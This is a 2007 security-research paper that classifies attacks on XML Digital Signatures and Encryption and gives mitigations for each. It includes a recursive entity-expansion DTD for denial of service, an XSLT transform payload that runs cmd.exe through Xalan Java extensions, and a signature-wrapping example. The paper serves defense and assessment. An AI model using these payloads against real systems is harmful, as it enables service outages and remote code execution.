A Taxonomy of Attacks against XML Digital Signatures & Encryption

Brad Hill – iSEC Partners brad@isecpartners.com

Supplementary Material for *Attacking XML Security*, available at:

https://www.isecpartners.com/speaking.html and

http://www.blackhat.com/html/bh-media-archives/bh-archives-2007.html

This document is an enumeration and taxonomy of currently known attacks and evasions against the W3C Recommendation for XML-Signature Syntax and Processing (Bartel '02). It is best understood as supplemental material to the presentation noted above and in concert with the additional reference material in the bibliography. This compact summary is intended to aid the experienced security professional in evaluating technologies implementing or utilizing XML Digital Signatures and XML Encryption.

A note on order of operations and attack surface:

XML Digital Signatures are indirected signatures. To construct a signature, the content to be signed is canonicalized, digested, and metadata about the content (its location, the digest and canonicalization method) is saved as XML. This XML metadata is then itself canonicalized, digested, and the digest of the metadata is signed to produce the final signature. Key information may optionally be packaged with the signature.

The order of operations for signature validation, while unimportant from a cryptographic standpoint, can have a significant impact on whether many of the attacks detailed here are available to anonymous adversaries, or if the attack surface can be authenticated.

The first operation of signature validation should be key resolution. Optimally, any KeyInfo attached to the signature can be discarded, and the proper key inferred from context and provided directly by the caller. If the KeyInfo must be resolved from the signature, this resolution must be a distinct step so a trust decision in the key can be made before proceeding.

The next operation is to verify the signature by canonicalizing and digesting the signed info metadata. Finally, with the instructions in the signed info metadata authenticated, resolution and verification of reference digests can proceed.

Unfortunately, many implementations perform reference validation before verifying the signature, exposing the reference resolution attack surface anonymously. Common APIs of the form: **KeyInfo validate(Signature s)**, which perform all operations and return the resolved key, expose all operations to an anonymous attacker, as a trust decision in the key cannot be made until after all processing is complete.

C14N Transform Injection (2.1) is the simplest and most reliable method of determining the order of operations of system in a black box manner. The author has observed no implementations that defend explicitly against this attack, so timing observations can provide a reliable test. If injecting redundant C14N transforms into a RetrievalMethod element causes no change in validation timing, KeyInfo is likely not processed. If injecting redundant C14N transforms into a Reference causes a long delay before validation fails, Reference processing is likely being performed before Signature validation.

The attacks are categorized as follows:

1 **C14N Denial of Service**
    1.1 **C14N Entity Expansion**
2 **Transform Injection**
    2.1 **C14N Transform Injection**
    2.2 **XPath & XPath Filter 2.0 Transform Injection**
    2.3 **XSLT Transform Injection**
3 **Hash Collision attack against SignedInfo with C14N with Comments**
4 **External Reference Attacks**
5 **Reference Complexity**
6 **Element Wrapping Attacks**
7 **Untrusted Keys**

The attacks fall onto four attack surfaces:

Canonicalization: As canonicalization must take place prior to any cryptographic operations, attacks against canonicalization are available to the anonymous attacker.

Reference Resolution: Reference resolution contains a large amount of attack surface. Whether this surface is anonymous or authenticated depends on the order of operations, as discussed above.

Key Resolution: If key resolution is performed, this is attack surface is always available to the anonymous attacker, because no signature checking can be performed without a key. Attacks against RetrievalMethod fall on the key resolution surface.

Signature Evasion: Some attacks are aimed at evading or subverting the cryptographic guarantees of the signature. These may fall on the anonymous attack surface, or they may be ways in which an authenticated party attempts to repudiate a signature.

A note on schema validation as a mitigation:

Pre-validation of a Signature against an XML schema is recommended in several cases to mitigate attacks against processors lacking the API support to perform adequate hardening. This validation should be done with care, and may need to be performed out-of-band on a copy of the signature, as the schema validation may introduce changes to the XML infoSet (e.g. default attributes) that invalidate the signature.

1 C14N Denial of Service

Attack surface: Canonicalization

Attack impact: Denial of service

Description: C14N can be an expensive operation, requiring complex processing (Boyer '01), including entity expansion and normalization of whitespace, namespace declarations, and coalescing of adjacent text and CDATA nodes. This requires building a DOM and performing memory- and processor-intensive operations.

Exploit scenario: Attacker replaces the SignedInfo or XML content identified by a Reference with a very large set of XML data containing many namespace declarations, redundant adjacent text nodes, etc., leading to a denial of service condition. A special-case exploit scenario is described as attack 1.1.

Mitigation: Limit the total size of XML submitted for canonicalization.

Applies to XML Encryption? No

1.1 C14N Entity Expansion

Attack surface: Canonicalization

Attack impact: Denial of service

Exploit scenario: Attacker attaches a DTD containing entities which are recursively defined, then inserts such an entity reference into the SignedInfo or the XML content identified by a Reference. Even if the system XML parser is set not to expand entities, the rules of C14N require expansion of entities.

Example: The following document will consume ~2 gigabytes of memory during canonicalization.

```
<!DOCTYPE foo [
<!ENTITY a "1234567890" >
<!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;" >
<!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;" >
<!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;" >
<!ENTITY e "&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;" >
<!ENTITY f "&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;" >
<!ENTITY g "&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;" >
<!ENTITY h "&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;" >
<!ENTITY i "&h;&h;&h;&h;&h;&h;&h;&h;&h;&h;" >
<!ENTITY j "&i;&i;&i;&i;&i;&i;&i;&i;&i;&i;" >
<!ENTITY k "&j;&j;&j;&j;&j;&j;&j;&j;&j;&j;" >
<!ENTITY l "&k;&k;&k;&k;&k;&k;&k;&k;&k;&k;" >
<!ENTITY m "&l;&l;&l;&l;&l;&l;&l;&l;&l;&l;" >
]>
<foo>&m;</foo>
```

Notes: SOAP forbids DTDs to be included, so this attack is unlikely to succeed against a strict SOAP implementation. It may work for non-SOAP payloads, e.g. SAML tokens passed as HTTP parameters.

Mitigation: Identify and strip DTD declarations from incoming messages.

Applies to XML Encryption? No

2 Transform Injection

Attack surface: Key resolution, reference resolution

Attack impact: Denial of service, potential code execution

Exploit scenario: The Transforms element of a Reference or RetrievalMethod contains processing instructions to arrive at a correct digest by refining the selection of material and/or transforming it. An attacker can inject additional Transforms into a RetrievalMethod or Reference. These processing instructions can specify a variety of actions and can be used to perform a denial of service attack or, in some circumstances, even execute arbitrary code.

Mitigation: Restrict the supported Transform algorithms, either at the XML Signature processor or via out-of-band schema or DTD validation. Do not process KeyInfo, or keys identified by RetrievalMethod. Restrict the total number of transforms.

Applies to XML Encryption? Yes, the KeyInfo and Reference syntax and Transform algorithms used by XMLDSIG are shared by XMLENC to identify key material and encrypted content.

2.1 C14N Transform Injection

Attack surface: Key resolution, reference resolution

Attack impact: Denial of service

Exploit scenario: Even a highly restricted signature processor must implement a C14N Transform to process XML content. The attacker inserts many redundant C14N transforms to consume resources.

Mitigation: Do not process KeyInfo, or keys identified by RetrievalMethod. Restrict the total number of transforms. Reject, via out-of-band schema validation, any Reference or RetrievalMethod specifying multiple C14N transforms (may break some valid, non-malicious signatures), or adjacent C14N transforms.

Applies to XML Encryption? No, C14N not used by XML Encryption.

2.2 XPath & XPath Filter 2.0 Transform Injection

Attack surface: Key resolution, reference resolution

Attack impact: Denial of service

Exploit scenario: Complex XPath expressions can be costly to process. XPath Filters allow Union, Intersection and Subtraction operations on an XML node set using multiple XPath selections. Intended as a performance optimization, large filter sets specifying many complex XPath expressions can quickly consume many system resources.

Mitigation: Do not process KeyInfo, or keys identified by RetrievalMethod. Restrict the total number of transforms. Reject, via out-of-band schema or DTD validation, any Reference or RetrievalMethod specifying XPath or XPath Filter 2.0 transforms unless required. Identifying content by a whole document reference or by ID is preferable.

Applies to XML Encryption? Yes

2.3 XSLT Transform Injection

Attack surface: Key resolution, reference resolution, signature evasion

Attack impact: Denial of service, signature evasion, code execution

Exploit scenario: XSLT is a complete programming environment. It is totally unsuitable for use in a digital signature technology. Using the base XSLT syntax, an attacker can specify loops that consume unbounded amounts of system resources or make outbound network connections.

More dangerous is that a majority of XSLT process ors specify extension mechanisms that allow operations such as scripting, file system operations or even arbitrary code execution.

Example: The following signature sample uses the Java namespace extensions of the Xalan XSLT process or to construct an instance of the java.lang.Runtime class and execute the command: "c:\Windows\system32\cmd.exe".

```
<?xml version="1.0" encoding="UTF-8"?>
<Envelope xmlns="urn:envelope">
<Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
<SignedInfo>
<CanonicalizationMethod Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315#WithComnts"/>
<SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
<Reference URI="">
<Transforms>
<Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
<Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
exclude-result-prefixes= "rt,ob">
<xsl:template match="/">
<xsl:variable name="runtimeObject" select="rt:getRuntime()"/>
<xsl:variable name="command" select="rt:exec($runtimeObject,&apos;c:\Windows\system32\cmd.exe&apos;)"/>
<xsl:variable name="commandAsString" select="ob:toString($command)"/>
<xsl:value-of select="$commandAsString"/>
</xsl:template>
</xsl:stylesheet>
</Transform>
</Transforms>
<DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
<DigestValue>uooqbWYa5VCqcJCbuymBKqm17vY=</DigestValue></Reference>
</SignedInfo>
<SignatureValue>hYlWlHBy+nwft0pcr64ldS3Hobd+RhAF6kZa1ZwA6EW3gavRXGnxlkBJo2Bish951xd0woMrMbr4EtvUY+KaDr2qvylPjVbFhh7Mr4By+DU7x/AF
ODhjE7DrAcszscmLDUPX24+0mdshbbzsUbbapMLDexGm+1F6Id0mpjqdHxQ=</SignatureV
alue>
<KeyInfo>
<X509Data>
<X509Certificate>MIICMzCCAZygAwIBAgIEB1vNFTANBgkqhkiG9w0BAQUFADBdMR0wGwYDVQQKExREb2N0b3IgRXZpbCBOZXR3b3JrczEvMC0GA1UECx
MmTWFuSW5UaGVNaWRkbGUgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkxCzAJBgNVBAYTAlVTMB4XDTA1MDYyNjAwNDMxMloXDTA3MDYxNjAwNDMwOV
owDjEMMAoGA1UEAxMDZm9vMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCQtSkEzUfVcVS0pQ/9EGVp4VzAKAXEh/LnhziJMflbQ+l2ZP9f43AhtF8F
7crEDiO8roDM5hHl+pRsIKts8/JFGFVFhoEnqmJ1YgmWCXzojbl02MwtpoU4Qt3jDQu5A7CAcwjZHBFpHkKpfW6EDNRiPkLwDZehU3kUGg5TuN0BqwIDAQABo
08wTTAdBgNVHQ4EFgQUT1kDd5c4i9PV8gjHcPjq9C+Z6EowHwYDVR0jBBgwFoAUcaZ8Le2eELaUj56dgeeGfu1pnoowCwYDVR0PBAQDAgSQMA0GCSqGSI
b3DQEBBQUAA4GBAJJLlUiXACfCfqF6uAEr2GjZOx07PWOgmRiX9yA+cVSpqlKu8rCz1x0+jd5F72tj3seVuUT0uXgSTZLItwbBWNPIscnHcv+wh95JzEOLkhT4w
EEdu0p6zdG9DMj7I4s/j69zOzX95B+FLwAGfjyL5Mo
K+BHKOMr/tZ8TJEXUsmz5</X509Certificate>
</X509Data>
</KeyInfo>
</Signature>
</Envelope>
```

While this is harmless, the possibilities truly are endless when this level of control is obtained. Any program which can be expressed can be inserted, as source code directly in the signature, as XSLT when these extensions are enabled. Even without extensions, any functional program can be expressed, within the limitations of the I/O mechanisms available though xsl:include, xsl:import and the document() function.

Mechanisms are available in common XSLT processors to execute Java, BeanShell, JavaScript, VBScript, .Net languages, even SQL, though extensions may not be exposed from any given XML Signature processor.

On a more benign level, XSLT may be used to transform any arbitrary payload to a null or trivial result to make signature validation meaningless, or remote references in a stylesheet can be another vector for taxon 4, External Reference Attacks.

Mitigation: As the XSLT transform is optional and cannot be relied on for interoperability, it should always be disabled or forbidden by schema validation prior to signature verification. If circumstances dictate that XSLT transforms must be used, extensions must be disabled in the XSLT processor, and mechanisms must be in place to limit the total system resources that may be consumed by signature validation.

Applies to XML Encryption? Yes

3 Hash Collision attack against SignedInfo with C14N with Comments

Attack surface: Signature evasion

Attack impact: Signature evasion

Exploit scenario: Canonicalization algorithms that include comments are optional in the XML Digital Signature specification, but nearly always supported. Comments frequently have semantic relevance in signed content. For the SignedInfo block of a signature, though, they almost never have relevance. Allowing comments in this element gives a considerable degree of freedom to use arbitrary data in an attempt to cause a hash collision, while maintaining a well-formed message that will not disturb application semantics. This attack is theoretical at the present, but may soon be practical against weaker hash algorithms like MD5.

Mitigation: Do not allow C14N algorithms that include comments for canonicalizing the SignedInfo element of a signature.

Applies to XML Encryption? No

4 External Reference Attacks

Attack surface: Reference resolution

Attack impact: Signature evasion, denial of service, exposure of additional parsing and network stack attack surface

Exploit scenario: A Reference or RetrievalMethod in is identified by an URI. When that URI refers to remote content, several attack possibilities are introduced.

Firstly, a denial of service attack may be executed by referring the signature processor to an extremely large or slow to respond remote document, or may use a UNC or local path to connect the processor to non-file devices.

If the processor supports multiple URL schemes (e.g. ldap://, file://, ftp://) the attacker may be able to force outbound network connectivity on a variety of protocols. If any of these protocol handlers have known flaws, these may now be triggered.

If credentials are automatically supplied with outbound traffic, reflection or redirection attacks may be possible against certain protocol stacks.

Finally, retrieval of remote references introduces time of check, time of use conditions. If an application does not use the cached resolution of these resources from the time of signature checking, there is no way to assure that the same content is provided on subsequent retrievals. This can be a potentially significant problem for, e.g. XML security gateway appliances at network borders.

Mitigation: Do not allow remote references, or enforce reference caching and pull data for application use from the validation cache.

Applies to XML Encryption? Yes

5 Reference Complexity

Attack surface: Key resolution, reference resolution

Attack impact: Denial of service

Exploit scenario: References and RetrievalMethods may be specified by XPath and XPointer expressions. These may be of significant complexity and tax system resources.

Mitigation: Do not allow references identified by arbitrary XPath or XPointers (except "bare" XPointers identifying elements directly by Id). Identify elements to be signed with whole document references or references by Id only.

Applies to XML Encryption? Yes

6 Element Wrapping Attacks (McIntosh '05)

Attack surface: Reference resolution

Attack impact: Signature evasion

Exploit scenario: Care must be taken when identifying portions of document to sign. If the entire document is not referenced, modifications may be made to unprotected content, or signed elements moved around, potentially altering document semantics.

Example: The following two documents will both validate with identical signature values. Notice that the price elements, "p1" and "p2", have exchanged places. Since the signature references them independent of context, its validity is not disturbed by moving them without modifying them.

Document 1:

```
<order>
 <item>
  <name>Box of Pencils</name>
  <price Id="p1">$1.50</price>
  <quantity>1</quantity>
 </item>
 <item>
  <name>Laptop</name>
  <price Id="p2">$2500.00</price>
  <quantity>100</quantity>
 </item>
</order>
<Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
 <SignedInfo> . . .
  <Reference URI="#xpointer(id('p1'))">. . .</Reference>
  <Reference URI="#xpointer(id('p2'))">. . .</Reference>
 </SignedInfo>
 <SignatureValue>. . .</SignatureValue>
 <KeyInfo>. . .</KeyInfo>
</Signature>
```

Document 2:

```
<order>
 <item>
  <name>Box of Pencils</name>
  <price Id="p2">$2500.00</price>
  <quantity>1</quantity>
 </item>
 <item>
  <name>Laptop</name>
  <price Id="p1">$1.50</price>
 <quantity>100</quantity>
 </item>
</order>
<Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
 <SignedInfo> . . .
  <Reference URI="#xpointer(id('p1'))">. . .</Reference>
  <Reference URI="#xpointer(id('p2'))">. . .</Reference>
 </SignedInfo>
 <SignatureValue>. . .</SignatureValue>
 <KeyInfo>. . .</KeyInfo>
</Signature>
```

Continuing the example, it would be equally possible to add, delete or modify any other content in these documents other than the price. This is an extreme example for demonstration purposes, but the attack can be subtle. Readers are encouraged to refer to *XML Signature Wrapping Attacks and Countermeasures* by Michael McIntosh and Paula Austel for more examples of this attack class.

Mitigation: Prefer and enforce full document signing where possible. Make careful use of policy to enforce that signatures adequately bind in place elements with context dependent semantics.

Applies to XML Encryption? No

7 Untrusted Keys

Attack surface: Signature evasion

Attack impact: Signature evasion

Exploit scenario: This is not an attack against the specification directly, but a mistake in API usage that is likely to be common. After experience with SSL, many developers are accustomed to security APIs that utilize PKIX to transparently and automatically establish trust in certificates (by enforcing chaining to a trusted root, checking expiration times, revocation lists, name agreement, etc.). As trust decisions are out of scope for the XML Digital Signature specification, and X.509 certificates are just one of several choices of key format, many APIs perform no default operations to validate ownership of or trust in a key.

Developers who utilize XML Signature APIs as they use SSL APIs, assuming that trust decisions are handled automatically, are committing an error similar to acceptance of a self-issued certificate in SSL.

Mitigation: Ensure proper measures to establish trust in key material for XML Signatures.

Applies to XML Encryption? Yes

Bibliography and Recommendations for Further Reading

A more complete bibliography is included in *Attacking XML Security*, Brad Hill, iSEC Partners, 2007, https://www.isecpartners.com/speaking

XML-Signature Syntax and Processing
http://www.w3.org/TR/2002/REC-xmldsig-core-20020212/
M. Bartel, J. Boyer, B. Fox, B. LaMacchia, and E. Simon. In D.Eastlake, J. Reagle, and D. Solo, editors, W3C Recommendation. World Wide Web Consortium, 12 February 2002.

Canonical XML
http://www.w3.org/TR/xml-c14n
J. Boyer, W3C (MIT, INRIA, Keio), 2001

XML Signature Element Wrapping Attacks and Countermeasures
http://portal.acm.org/citation.cfm?id=1103022.1103026
M. McIntosh, P. Austel, XML Signature Element Wrapping Attacks and Countermeasures, SWS'05, ACM, 2005

XML Signature Extensibility Using Custom Transforms
http://springerlink.com/content/qp0eyrbgdcn47jh1
L. Bull and D. Squire, in *Web Information Systems – WISE 2004*, pp 102-112. Springer Berlin / Heidelberg, November 2004

XML Encryption Syntax and Processing
http://www.w3.org/TR/2002/REC-xmlenc-core-20021210/
T. Imamura, B. Dillaway and E. Simon. In D. Eastlake, J. Reagle, editors, W3C Recommendation. World Wide Web Consortium, 10 December 2002.

XSL Transformations (XSLT)
http://www.w3c.org/TR/1999/REC-xslt-19991116
J. Clark, editor, W3C Recommendation, World Wide Web Consortium, 16 November 1999

"Secure XML: The New Syntax for Signatures and Encryption"
D. Eastlake and K. Niles, Pearson Education, July 19, 2002

"Securing Web Services with WS-Security: Demystifying WS-Security, WSPolicy, SAML, XML Signature and XML Encryption"
J. Rosenberg and D. Remy, Sams, 12 May 2004

"XSLT"
D. Tidwell, O'Reilly Media, 15 August 2001

Simple Xalan Extension Functions: Mixing Java with XSLT
http://www-128.ibm.com/developerworks/library/x-xalanextensions.html
E. Harold, IBM developerWorks, 07 November 2006